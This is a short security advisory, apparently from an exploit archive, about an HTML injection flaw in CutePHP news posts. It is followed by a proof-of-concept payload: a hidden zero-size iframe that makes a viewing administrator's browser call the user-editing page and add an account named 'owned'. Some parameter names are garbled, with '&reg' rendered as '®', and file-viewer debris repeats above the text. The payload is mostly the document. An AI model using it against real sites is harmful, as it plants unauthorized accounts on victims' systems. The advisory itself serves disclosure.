5 lines
No EOL
479 B
Text
5 lines
No EOL
479 B
Text
source: http://www.securityfocus.com/bid/8060/info
|
|
|
|
CutePHP is prone to HTML injection attacks. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to news posts are not sufficiently sanitized of malicious HTML code.
|
|
|
|
<iframe src="index.php?regusername=owned®password= pass®nickname=owned®email=nonenone.com®level= 1&action=adduser&mod=editusers" height=0 width=0 frameborder=0 scrolling=0></iframe> |